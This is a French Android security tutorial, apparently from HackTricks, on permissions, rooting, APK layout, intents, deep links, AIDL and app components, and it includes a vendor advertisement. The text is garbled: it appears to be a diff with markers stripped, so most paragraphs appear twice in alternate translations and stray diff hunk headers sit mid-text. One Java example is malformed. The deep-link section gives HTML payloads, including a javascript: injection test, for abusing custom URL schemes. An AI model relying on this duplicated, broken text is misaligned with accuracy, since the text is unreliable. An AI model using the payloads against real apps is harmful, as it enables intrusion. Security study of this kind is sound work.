À partir d'Android 5.0 (L), **SELinux** est appliqué. Fondamentalement, SELinux a refusé toutes les interactions entre les processus, puis a créé des politiques pour **autoriser uniquement les interactions attendues entre eux**.
### Permissions
### Autorisations
Lorsque vous installez une **application et qu'elle demande des permissions**, l'application demande les permissions configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de la permission demandée dans l'**attribut name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des permissions pour les versions supérieures à celle spécifiée.\
Notez que les applications Android n'ont pas besoin de demander toutes les permissions au début, elles peuvent également **demander des permissions de manière dynamique** mais toutes les permissions doivent être **déclarées** dans le **manifeste.**
Lorsque vous installez une **application et qu'elle demande des autorisations**, l'application demande les autorisations configurées dans les éléments **`uses-permission`** dans le fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de l'autorisation demandée dans l'attribut **name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des autorisations sur des versions supérieures à celle spécifiée.\
Notez que les applications Android n'ont pas besoin de demander toutes les autorisations au début, elles peuvent également **demander des autorisations dynamiquement** mais toutes les autorisations doivent être **déclarées** dans le **manifeste**.
Lorsqu'une application expose des fonctionnalités, elle peut limiter l'**accès uniquement aux applications disposant d'une permission spécifiée**.\
Un élément de permission a trois attributs :
Lorsqu'une application expose des fonctionnalités, elle peut limiter **l'accès uniquement aux applications ayant une autorisation spécifiée**.\
Un élément d'autorisation a trois attributs :
* Le **nom** de la permission
* L'attribut **permission-group**, qui permet de regrouper des permissions connexes.
* Le **niveau de protection** qui indique comment les permissions sont accordées. Il existe quatre types :
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas obligé de l'approuver**.
* **Dangereux** : Indique que la permission accorde à l'application demandant une **accessibilité élevée**. **Les utilisateurs sont invités à les approuver**.
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder la permission. C'est le type de protection le plus fort.
* **SignatureOuSystème** : Seules les **applications signées par le même certificat que celui** exportant le composant ou **les applications fonctionnant avec un accès au niveau du système** peuvent se voir accorder des permissions
- Le **nom** de l'autorisation
- L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
- Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
- **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas tenu d'approuver**.
- **Dangereux** : Indique que l'autorisation accorde à l'application demandeur un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
- **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
- **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications s'exécutant avec un accès de niveau système** peuvent se voir accorder des autorisations.
## Applications préinstallées
## Applications Pré-Installées
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications méritent d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications valent la peine d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
* Celles livrées avec la **ROM AOSP** (Projet OpenSource Android)
* Ajoutées par le **fabricant de l'appareil**
* Ajoutées par le fournisseur de **téléphonie mobile** (si achetées chez eux)
- Celles livrées avec le **ROM AOSP** (Android OpenSource Project)
- Ajoutées par le **fabricant de l'appareil**
- Ajoutées par le **fournisseur de téléphonie mobile** (si acheté chez eux)
## Rooting
## Rootage
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui sont généralement **spécifiques** à l'**appareil** et à la **version**.\
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui étaient **spécifiques** à l'**appareil** et à la **version**.\
Une fois l'exploit réussi, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles dans le Google Play Store).
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles sur Google Play Store).
{% hint style="danger" %}
Notez que le processus de rooting est très dangereux et peut endommager gravement l'appareil
Notez que le processus de rootage est très dangereux et peut endommager gravement l'appareil
{% endhint %}
### ROMs
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. Cela permet d'étendre l'utilité d'un ancien appareil, de contourner les restrictions logicielles ou d'accéder au dernier code Android.\
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. En faisant cela, il est possible d'étendre l'utilité d'un ancien appareil, contourner les restrictions logicielles ou accéder au dernier code Android.\
**OmniROM** et **LineageOS** sont deux des firmwares les plus populaires à utiliser.
Notez que **il n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs chargeurs de démarrage de manière bien documentée et sûre.
Notez que **il n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs chargeurs d'amorçage de manière bien documentée et sécurisée.
### Implications
Une fois qu'un appareil est rooté, n'importe quelle application peut demander un accès root. Si une application malveillante l'obtient, elle aura accès à presque tout et pourra endommager le téléphone.
Une fois qu'un appareil est rooté, toute application pourrait demander un accès en tant que root. Si une application malveillante l'obtient, elle pourra accéder à presque tout et endommager le téléphone.
## Fondamentaux des applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Fondamentaux des Applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
Cette introduction est tirée de [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)
### Révision des fondamentaux <a href="#fundamentals-review" id="fundamentals-review"></a>
* Les applications Android sont au format de fichier _APK_. **APK est essentiellement un fichier ZIP**. (Vous pouvez renommer l'extension du fichier en .zip et utiliser unzip pour ouvrir et voir son contenu.)
* Contenu APK (Non exhaustif)
* **AndroidManifest.xml**
* resources.arsc/strings.xml
* resources.arsc : un fichier contenant des ressources précompilées, telles que du XML binaire par exemple.
* res/xml/files\_paths.xml
* META-INF/
* Le certificat vit ici !
* **classes.dex**
* Bytecode Dalvik pour l'application au format de fichier DEX. **C'est le code Java (ou Kotlin) compilé** que l'application exécutera par défaut.
* lib/
* Les bibliothèques natives pour l'application, par défaut, se trouvent ici ! Sous le répertoire lib/, il y a les répertoires spécifiques au processeur.
* `armeabi` : code compilé uniquement pour tous les processeurs basés sur ARM
* `armeabi-v7a` : code compilé uniquement pour tous les processeurs basés sur ARMv7 et supérieurs
* `x86` : code compilé pour X86
* `mips` : code compilé uniquement pour les processeurs MIPS
* assets/
* Tout autre fichier pouvant être nécessaire à l'application.
* Des bibliothèques natives supplémentaires ou des fichiers DEX peuvent être inclus ici. Cela peut se produire surtout lorsque les auteurs de logiciels malveillants veulent essayer de "cacher" du code supplémentaire, natif ou Dalvik, en ne l'incluant pas dans les emplacements par défaut.
* res/
* le répertoire contenant des ressources non compilées dans resources.arsc
- Le format des applications Android est appelé le _format de fichier APK_. Il s'agit essentiellement d'un **fichier ZIP** (en renommant l'extension de fichier en .zip, le contenu peut être extrait et visualisé).
- Contenu de l'APK (non exhaustif)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc : contient des ressources précompilées, comme du XML binaire.
- res/xml/files\_paths.xml
- META-INF/
- C'est là que se trouve le Certificat !
- **classes.dex**
- Contient le bytecode Dalvik, représentant le code Java (ou Kotlin) compilé que l'application exécute par défaut.
- lib/
- Contient des bibliothèques natives, séparées par architecture CPU dans des sous-répertoires.
- `armeabi` : code pour les processeurs basés sur ARM
- `armeabi-v7a` : code pour les processeurs basés sur ARMv7 et supérieurs
- `x86` : code pour les processeurs X86
- `mips` : code pour les processeurs MIPS uniquement
- assets/
- Stocke des fichiers divers nécessaires à l'application, potentiellement y compris des bibliothèques natives supplémentaires ou des fichiers DEX, parfois utilisés par les auteurs de logiciels malveillants pour dissimuler du code supplémentaire.
- res/
- Contient des ressources qui ne sont pas compilées dans resources.arsc
### **Dalvik & Smali**
La plupart des applications Android sont écrites en Java. Kotlin est également pris en charge et interopérable avec Java. Pour simplifier, pour le reste de cet atelier, lorsque je fais référence à "Java", vous pouvez supposer que je veux dire "Java ou Kotlin". **Au lieu que le code Java soit exécuté dans la machine virtuelle Java** (JVM) comme les applications de bureau, sur Android, le **Java est compilé au format de bytecode \_Dalvik Executable (DEX)\_**. Pour les versions antérieures d'Android, le bytecode était traduit par la machine virtuelle Dalvik. Pour les versions plus récentes d'Android, le Runtime Android (ART) est utilisé.\
Si les développeurs écrivent en Java et que le code est compilé en bytecode DEX, pour la rétro-ingénierie, nous travaillons dans la direction opposée.\
\\
- La plupart des applications Android sont développées en Java ou Kotlin (interchangeables dans ce contexte lorsqu'ils sont appelés "Java").
- **Au lieu d'exécuter du code Java dans la machine virtuelle Java** (JVM) comme les applications de bureau, Android compile le Java en **bytecode exécutable Dalvik (DEX)**.
- La traduction du bytecode était historiquement gérée par la machine virtuelle Dalvik, tandis que les versions Android plus récentes utilisent l'Android Runtime (ART).
- Le processus d'ingénierie inverse implique de décompiler le bytecode DEX dans un format lisible par l'homme.
![Organigramme du processus du développeur. Java en bytecode DEX](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![Organigramme du processus de l'ingénieur inverse. Bytecode DEX en SMALI en Java décompilé](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
**Smali est la version lisible par l'homme du bytecode Dalvik**. Techniquement, Smali et baksmali sont les noms des outils (assembleur et désassembleur, respectivement), mais dans Android, nous utilisons souvent le terme "Smali" pour faire référence aux instructions. Si vous avez fait de la rétro-ingénierie ou de l'architecture informatique sur du code C/C++ compilé. **SMALI est comme le langage d'assemblage : entre le code source de haut niveau et le bytecode**.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Intents
Les Intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à l'utilisation des requêtes GET/POST dans les communications HTTP.
Donc, un Intent est essentiellement un **message qui est transmis entre les composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
Pour être simple, Intent peut être utilisé :
* Pour démarrer une Activité, ouvrant généralement une interface utilisateur pour une application
* Comme diffusions pour informer le système et les applications des changements
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
* Pour accéder aux données via les ContentProviders
* Comme callbacks pour gérer les événements
Une mise en œuvre incorrecte pourrait entraîner une fuite de données, l'appel de fonctions restreintes et la manipulation du flux du programme.
### Intent-Filter
Un filtre d'intention spécifie les **types d'Intent auxquels une activité, un service ou un Broadcast Receiver peut répondre**. Il spécifie ce qu'une activité ou un service peut faire et quels types de diffusions un Receiver peut gérer. Il permet au composant correspondant de recevoir des Intents du type déclaré. Les filtres d'intention sont généralement **définis via le fichier AndroidManifest.xml**. Pour un **Broadcast Receiver**, il est également possible de les définir dans le **code**. Un filtre d'intention est défini par sa catégorie, son action et ses filtres de données. Il peut également contenir des métadonnées supplémentaires.
Dans Android, une activité/service/content provider/broadcast receiver est **public** lorsque **`exported`** est réglé sur **`true`**, mais un composant est **également public** si le **manifeste spécifie un filtre d'intention** pour celui-ci. Cependant,\
les développeurs peuvent **explicitement rendre les composants privés** (indépendamment de tout filtre d'intention)\
en réglant l'attribut **`exported`** sur `false` pour chaque composant dans le fichier manifeste.\
Les développeurs peuvent également définir l'attribut **`permission`** pour **exiger une certaine permission pour accéder** au composant, limitant ainsi l'accès au composant.
### Intentions implicites
Les Intents sont créés programmatiquement en utilisant un constructeur Intent :
**Smali est la forme lisible par l'homme du bytecode Dalvik**. Bien que "Smali" et "baksmali" se réfèrent techniquement aux outils d'assemblage et de désassemblage, dans le contexte Android, "Smali" désigne souvent les instructions elles-mêmes. **SMALI est similaire au langage d'assemblage, servant d'intermédiaire entre le code source et le bytecode**.
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
L'**Action** de l'intention précédemment déclarée est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intention attend).
L'**Action** de l'intent précédemment déclaré est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intent attend).
Cette intention doit être déclarée dans le manifeste comme dans l'exemple suivant :
Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
```markup
<activity android:name="ShareActivity">
<intent-filter>
@ -180,7 +136,7 @@ Cette intention doit être déclarée dans le manifeste comme dans l'exemple sui
```
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
Le processus de "Résolution d'intent" détermine quelle application devrait recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration de l'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre de "choix" apparaît pour que l'**utilisateur puisse décider**.
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre "choisir" apparaît pour que l'**utilisateur puisse décider**.
### Intents explicites
@ -188,7 +144,7 @@ Un intent explicite spécifie le nom de la classe qu'il cible :
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Dans d'autres applications, pour accéder à l'intent précédemment déclaré, vous pouvez utiliser :
Dans d'autres applications, pour accéder à l'intention précédemment déclarée, vous pouvez utiliser :
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
@ -196,84 +152,84 @@ context.startService(intent);
```
### Intentions en attente
Celles-ci permettent à d'autres applications **d'agir au nom de votre application**, en utilisant l'identité et les permissions de votre app. Lors de la construction d'une Intention en attente, il faut **spécifier une intention et l'action à réaliser**. Si l'**intention déclarée n'est pas Explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait réaliser l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra faire **n'importe quelle action au nom de la victime**.
Ces intentions permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les autorisations de votre application. Pour construire une intention en attente, il faut **spécifier une intention et l'action à effectuer**. Si l'intention **déclarée n'est pas explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
### Intentions de diffusion
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version 14 de l'API, il est **possible de spécifier l'application qui devrait recevoir** le message en utilisant Intent.set Package.
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version API 14, il est **possible de spécifier l'application qui doit recevoir** le message en utilisant Intent.setPackage.
Il est également possible de **spécifier une permission lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette permission.
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette autorisation.
Il existe **deux types** de diffusions : **Normales** (asynchrones) et **Ordonnées** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion.**
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrone). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion**.
Il est possible **d'envoyer** une **diffusion** en utilisant la fonction **`sendBroadcast(intent, receiverPermission)`** de la classe `Context`.\
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** qui assure que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
Il est possible d'**envoyer** une **diffusion** en utilisant la fonction \*\*`sendBroadcast(intent, receiverPermission)` \*\* de la classe `Context`.\
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
### Diffusions persistantes
Ce type de diffusions **peut être accédé longtemps après leur envoi**.\
Elles ont été dépréciées dans la version 21 de l'API et il est recommandé de **ne pas les utiliser**.\
**Elles permettent à n'importe quelle application de renifler les données, mais aussi de les modifier.**
Ils ont été obsolètes au niveau de l'API 21 et il est recommandé de **ne pas les utiliser**.\
**Ils permettent à n'importe quelle application de renifler les données, mais aussi de les modifier**.
Si vous trouvez des fonctions contenant le mot "sticky" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
Si vous trouvez des fonctions contenant le mot "persistant" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
## Liens profonds / Schémas d'URL
**Les liens profonds permettent de déclencher une Intention via une URL**. Une application peut déclarer un **schéma d'URL** à l'intérieur d'une activité de sorte que chaque fois que le dispositif Android tente **d'accéder à une adresse utilisant ce schéma**, l'activité de l'application sera appelée :
**Les liens profonds permettent de déclencher une intention via une URL**. Une application peut déclarer un **schéma d'URL** à l'intérieur d'une activité afin que chaque fois que l'appareil Android tente d'**accéder à une adresse en utilisant ce schéma**, l'activité de l'application sera appelée :
![](<../../.gitbook/assets/image (214).png>)
Dans ce cas, le schéma est `myapp://` (notez aussi la **`catégorie BROWSABLE`**)
Dans ce cas, le schéma est `myapp://` (notez également la **`catégorie BROWSABLE`**)
Si à l'intérieur du `intent-filter` vous trouvez quelque chose comme ceci :
Si vous trouvez quelque chose comme ceci dans le `intent-filter` :
![](<../../.gitbook/assets/image (263).png>)
Alors, il s'attend à quelque chose comme `http://www.example.com/gizmos`
Alors, il attend quelque chose comme `http://www.example.com/gizmos`
Si vous trouvez quelque chose comme ceci :
![](<../../.gitbook/assets/image (262).png>)
Cela signifiera qu'il s'attend à une URL commençant par `example://gizmos`\
Dans ce cas, vous pourriez essayer d'abuser de la fonctionnalité en créant un web avec les charges utiles suivantes. Il essaiera de naviguer vers des pages arbitraires et d'essayer d'exécuter du JS :
Cela signifiera qu'il attend une URL commençant par `example://gizmos`\
Dans ce cas, vous pourriez essayer d'abuser de la fonctionnalité en créant un site web avec les charges utiles suivantes. Il tentera de naviguer vers des pages arbitraires et d'exécuter du JS:
```markup
<a href="example://gizmos/https://google.com">click here</a>
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
```
Pour trouver **le code qui sera exécuté dans l'application**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
Pour trouver le **code qui sera exécuté dans l'application**, allez à l'activité appelée par le lien profond et recherchez la fonction **`onNewIntent`**.
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
Apprenez comment [appeler des deep links sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
Apprenez comment [appeler des liens profonds sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
## AIDL - Langage de Définition d'Interface Android
## AIDL - Langage de définition d'interface Android
Le **Langage de Définition d'Interface Android** (AIDL) vous permet de définir l'interface de programmation sur laquelle le client et le service s'accordent pour **communiquer entre eux en utilisant la communication interprocessus** (IPC). Sur Android, **un processus ne peut normalement pas accéder à la mémoire d'un autre processus**. Ainsi, pour communiquer, ils doivent décomposer leurs objets en primitives que le **système d'exploitation** peut comprendre, et transférer les objets à travers cette limite pour vous. Le code pour faire ce transfert est fastidieux à écrire, donc Android le gère pour vous avec AIDL.
Le **Langage de Définition d'Interface Android** (AIDL) vous permet de définir l'interface de programmation sur laquelle le client et le service conviennent afin de **communiquer entre eux en utilisant une communication interprocessus** (IPC). Sur Android, **un processus ne peut normalement pas accéder à la mémoire d'un autre processus**. Pour communiquer, ils doivent décomposer leurs objets en primitives que le **système d'exploitation** peut comprendre, et marshall les objets de part et d'autre de cette frontière pour vous. Le code pour effectuer ce marshalling est fastidieux à écrire, c'est pourquoi Android le gère pour vous avec AIDL.
Les services utilisant AIDL sont appelés **Services Liés**. Dans la classe du Service, vous trouverez la méthode **`onBind`**. C'est **là que l'interaction commence**, donc c'est la première partie du code à examiner à la recherche de vulnérabilités potentielles.
Les services utilisant AIDL sont appelés **Services liés**. Dans la classe du Service, vous trouverez la méthode **`onBind`**. C'est **là que commence l'interaction**, c'est donc la partie initiale du code à examiner à la recherche de vulnérabilités potentielles.
Un service lié est le serveur dans une interface client-serveur. **Il permet aux composants (tels que les activités) de se lier au service, d'envoyer des demandes, de recevoir des réponses et d'effectuer une communication interprocessus** (IPC). Un service lié vit généralement seulement tant qu'il sert un autre composant de l'application et ne fonctionne pas indéfiniment en arrière-plan.
Un service lié est le serveur dans une interface client-serveur. **Il permet aux composants (comme les activités) de se lier au service, d'envoyer des requêtes, de recevoir des réponses et d'effectuer une communication interprocessus** (IPC). Un service lié vit généralement uniquement tant qu'il sert un autre composant d'application et ne s'exécute pas indéfiniment en arrière-plan.
### Messenger
Un Messenger est un autre type de mécanisme IPC. Comme le **Messenger est également un "Service Lié"**, les données transmises par l'application cliente sont également traitées via la méthode `onBind`. Ainsi, la revue de code devrait commencer par cette méthode et vous devriez rechercher l'invocation de fonctionnalités sensibles ou la gestion non sécurisée des données.
Un Messenger est un autre type de mécanisme IPC. Comme le **Messenger est également un "Service lié"**, les données transmises depuis l'application cliente sont également traitées via la méthode `onBind`. Ainsi, l'examen du code devrait commencer par cette méthode et vous devriez rechercher l'invocation de fonctionnalités sensibles ou une manipulation non sécurisée des données.
### Binder
Il est rare de trouver une classe Binder directement invoquée car il est beaucoup plus facile d'utiliser AIDL (qui abstrait la classe Binder). Cependant, il est bon de savoir que **Binder est un pilote de niveau noyau qui déplace les données de la mémoire d'un processus à celle d'un autre** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)).
Il est rare de trouver une classe Binder invoquée directement car il est beaucoup plus facile d'utiliser AIDL (qui abstrait la classe Binder). Cependant, il est bon de savoir que **Binder est un pilote au niveau du noyau qui déplace les données de la mémoire d'un processus à celle d'un autre** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)).
## Composants
Cela inclut : **Activités, Services, Récepteurs de Diffusion et Fournisseurs.**
Ces composants comprennent : **Activités, Services, Récepteurs de diffusion et Fournisseurs.**
### Activité de Lancement et autres activités
### Activité de lancement et autres activités
Une **activité Android** est un écran de l'interface utilisateur de l'application **Android**. De cette manière, une **activité Android** est très similaire aux fenêtres d'une application de bureau. Une application **Android** peut contenir une ou plusieurs activités, signifiant un ou plusieurs écrans.
Une **activité Android** est un écran de l'interface utilisateur de l'application **Android**. De cette manière, une **activité Android** est très similaire aux fenêtres d'une application de bureau. Une application **Android** peut contenir une ou plusieurs activités, ce qui signifie une ou plusieurs écrans.
L'**activité de lancement** est ce que la plupart des gens considèrent comme le **point d'entrée** d'une application Android. L'activité de lancement est l'activité qui est démarrée lorsqu'un utilisateur clique sur l'icône d'une application. Vous pouvez déterminer l'activité de lancement en regardant le manifeste de l'application. L'activité de lancement aura les intentions MAIN et LAUNCHER suivantes listées.
L'**activité de lancement** est ce à quoi la plupart des gens pensent comme au **point d'entrée** d'une application Android. L'activité de lancement est l'activité qui démarre lorsque l'utilisateur clique sur l'icône d'une application. Vous pouvez déterminer l'activité de lancement en regardant le manifeste de l'application. L'activité de lancement aura les intentions MAIN et LAUNCHER répertoriées.
Gardez à l'esprit que toutes les applications n'auront pas une activité de lancement, en particulier les applications sans UI. Des exemples d'applications sans UI (et donc sans activité de lancement) sont les applications préinstallées qui effectuent des services en arrière-plan, comme la messagerie vocale.
Gardez à l'esprit que toutes les applications n'auront pas une activité de lancement, en particulier les applications sans interface utilisateur. Des exemples d'applications sans interface utilisateur (et donc sans activité de lancement) sont les applications préinstallées qui fournissent des services en arrière-plan, comme la messagerie vocale.
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -282,79 +238,79 @@ Gardez à l'esprit que toutes les applications n'auront pas une activité de lan
</intent-filter>
</activity>
```
Les activités peuvent être exportées, permettant à d'autres processus sur l'appareil de lancer l'activité. Par défaut, elles ne sont pas exportées, mais vous pouvez les exporter en définissant :
Les activités peuvent être exportées, permettant à d'autres processus sur l'appareil de lancer l'activité. Par défaut, elles ne sont pas exportées mais vous pouvez les exporter en définissant :
```markup
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Notez que la capacité à **contourner les protections d'activité n'est pas toujours une vulnérabilité**, vous devez vérifier à quelles données vous avez accédé.
De plus, **certaines activités renvoient des données à l'appelant**. Dans ces scénarios, vous devez rechercher la méthode **`setResult`** et vérifier les données qui sont passées dans le paramètre Intent. **Si c'est des données sensibles, vous pourriez avoir une vulnérabilité de fuite d'informations** et c'est exploitable avec des applications capables de communiquer avec l'Activité.
Notez que la capacité de **contourner les protections d'activité n'est pas toujours une vulnérabilité**, vous devez vérifier à quelles données vous avez accédé.
De plus, **certaines activités renvoient des données à un appelant**. Dans ces scénarios, vous devez rechercher la méthode **`setResult`** et vérifier les données transmises dans le paramètre Intent. **S'il s'agit de données sensibles, vous pourriez avoir une vulnérabilité de fuite d'informations** et elle est exploitable avec des applications capables de communiquer avec l'activité.
**Le code d'une activité commence par la méthode `onCreate`.**
### Sous-classe d'Application
### Sous-classe d'application
Les applications Android peuvent définir une **sous-classe** de [Application](https://developer.android.com/reference/android/app/Application). Les applications peuvent, mais ne sont pas obligées de définir une sous-classe personnalisée d'Application. Si une application Android définit une sous-classe d'Application, **cette classe est instanciée avant toute autre classe dans l'application**.
Les applications Android peuvent définir une **sous-classe** de [Application](https://developer.android.com/reference/android/app/Application). Les applications peuvent, mais ne sont pas obligées de définir une sous-classe personnalisée d'Application. Si une application Android définit une sous-classe d'Application, **cette classe est instanciée avant toute autre classe de l'application**.
Si la méthode **`attachBaseContext`** est définie dans la sous-classe d'Application, elle est appelée en premier, avant la méthode **`onCreate`**.
### Services
Les [Services](https://developer.android.com/guide/components/services) **fonctionnent en arrière-plan sans interface utilisateur.** Ils sont utilisés pour effectuer **des processus de longue durée, même si l'utilisateur commence à utiliser une autre application**.
[Les services](https://developer.android.com/guide/components/services) **s'exécutent en arrière-plan sans interface utilisateur.** Ils sont utilisés pour effectuer des **processus longs, même si l'utilisateur commence à utiliser une application différente**.
Il existe une myriade de façons dont ils peuvent être démarrés et sont donc un point d'entrée pour les applications. La manière par défaut qu'un service peut être démarré comme point d'entrée d'une application est à travers les **Intents**.
Il existe une myriade de façons de les démarrer et sont donc un point d'entrée pour les applications. La façon par défaut qu'un service peut être démarré en tant que point d'entrée vers une application est via **Intents**.
Lorsque la méthode **`startService`** est appelée pour démarrer un Service, la méthode **`onStart`** dans le Service est exécutée. Il fonctionnera indéfiniment jusqu'à ce que la méthode **`stopService`** soit appelée. Si le service est seulement nécessaire tant que le client est connecté, le client doit se "lier" à celui-ci en utilisant la méthode **`bindService`**.
Lorsque la méthode **`startService`** est appelée pour démarrer un Service, la méthode **`onStart`** dans le Service est exécutée. Il s'exécutera indéfiniment jusqu'à ce que la méthode **`stopService`** soit appelée. Si le service n'est nécessaire que tant que le client est connecté, le client devrait s'y "lier" en utilisant la méthode **`bindService`**.
Pour un **service lié** (voir section précédente), les données seront passées à la méthode **`onBind`**.
Pour un **service lié** (voir section précédente), les données seront transmises à la méthode **`onBind`**.
Par exemple, un service peut jouer de la musique en arrière-plan pendant que l'utilisateur est dans une autre application, ou il peut récupérer des données sur le réseau sans bloquer l'interaction de l'utilisateur avec une activité.
Par exemple, un service pourrait jouer de la musique en arrière-plan pendant que l'utilisateur est dans une application différente, ou il pourrait récupérer des données sur le réseau sans bloquer l'interaction de l'utilisateur avec une activité.
**Un service peut être exporté ce qui permet à d'autres processus sur l'appareil de démarrer le service**. Par défaut, les services ne sont pas exportés mais cela peut être configuré dans le Manifest :
Un **service peut être exporté, ce qui permet à d'autres processus sur l'appareil de démarrer le service**. Par défaut, les services ne sont pas exportés mais cela peut être configuré dans le Manifeste:
```markup
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Récepteurs de diffusion
